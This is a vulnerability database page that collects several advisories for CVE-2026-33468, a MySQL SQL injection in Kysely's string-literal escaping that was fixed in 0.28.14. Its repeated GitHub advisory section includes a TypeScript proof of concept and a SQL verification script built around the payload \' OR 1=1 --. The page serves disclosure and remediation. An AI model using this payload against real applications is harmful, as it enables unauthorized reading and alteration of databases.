CVE-2026-33468
Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings
Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as(). Version 0.28.14 contains a fix.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings
Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as(). Version 0.28.14 contains a fix.
- Record
CVE-2026-33468- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2026-16265
8.1
Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as(). Version 0.28.14 contains a fix.
- Record
EUVD-2026-16265- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8cpq-38p9-67gx
8.1
Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings
Summary
Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().
Details
The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():
src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.
The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:
src/query-compiler/default-query-compiler.ts:1841-1845
protected appendStringLiteral(value: string): void {
this.append("'")
this.append(this.sanitizeStringLiteral(value))
this.append("'")
}
This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():
src/schema/create-index-builder.ts:266-278
where(...args: any[]): any {
const transformer = new ImmediateValueTransformer()
return new CreateIndexBuilder({
...this.#props,
node: QueryNode.cloneWithWhere(
this.#props.node,
transformer.transformNode(
parseValueBinaryOperationOrExpression(args),
this.#props.queryId,
),
),
})
}
The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.
Exploitation mechanism:
In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:
sanitizeStringLiteraldoubles the quote:\'' OR 1=1 --appendStringLiteralwraps:'\'' OR 1=1 --'- MySQL interprets
\'as an escaped (literal) single quote, so the string content is'and the second'closes the string OR 1=1 --is parsed as SQL
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
interface Database {
orders: {
id: number
status: string
order_nr: string
}
}
const db = new Kysely<Database>({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
database: 'test',
user: 'root',
password: 'password',
}),
}),
})
// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"
const query = db.schema
.createIndex('orders_status_index')
.on('orders')
.column('status')
.where('status', '=', userInput)
// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
// WHERE `status` = '\' ← string literal containing a single quote
// ' OR 1=1 --' ← injected SQL (OR 1=1), comment eats trailing quote
To verify against a live MySQL instance:
-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');
-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';
Impact
-…
- Record
GHSA-8cpq-38p9-67gx- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
8.1
Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as(). Version 0.28.14 contains a fix.
- Record
CVE-2026-33468- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
8.1
Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings
Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as(). Version 0.28.14 contains a fix.
- Record
CVE-2026-33468- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-8cpq-38p9-67gx
8.1
Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings
Summary
Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().
Details
The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():
src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.
The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:
src/query-compiler/default-query-compiler.ts:1841-1845
protected appendStringLiteral(value: string): void {
this.append("'")
this.append(this.sanitizeStringLiteral(value))
this.append("'")
}
This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():
src/schema/create-index-builder.ts:266-278
where(...args: any[]): any {
const transformer = new ImmediateValueTransformer()
return new CreateIndexBuilder({
...this.#props,
node: QueryNode.cloneWithWhere(
this.#props.node,
transformer.transformNode(
parseValueBinaryOperationOrExpression(args),
this.#props.queryId,
),
),
})
}
The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.
Exploitation mechanism:
In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:
sanitizeStringLiteraldoubles the quote:\'' OR 1=1 --appendStringLiteralwraps:'\'' OR 1=1 --'- MySQL interprets
\'as an escaped (literal) single quote, so the string content is'and the second'closes the string OR 1=1 --is parsed as SQL
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
interface Database {
orders: {
id: number
status: string
order_nr: string
}
}
const db = new Kysely<Database>({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
database: 'test',
user: 'root',
password: 'password',
}),
}),
})
// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"
const query = db.schema
.createIndex('orders_status_index')
.on('orders')
.column('status')
.where('status', '=', userInput)
// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
// WHERE `status` = '\' ← string literal containing a single quote
// ' OR 1=1 --' ← injected SQL (OR 1=1), comment eats trailing quote
To verify against a live MySQL instance:
-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');
-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';
Impact
-…
- Record
GHSA-8cpq-38p9-67gx- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33468 is a high vulnerability (CVSS 8.1) in Kysely, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in kysely 0.28.14.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.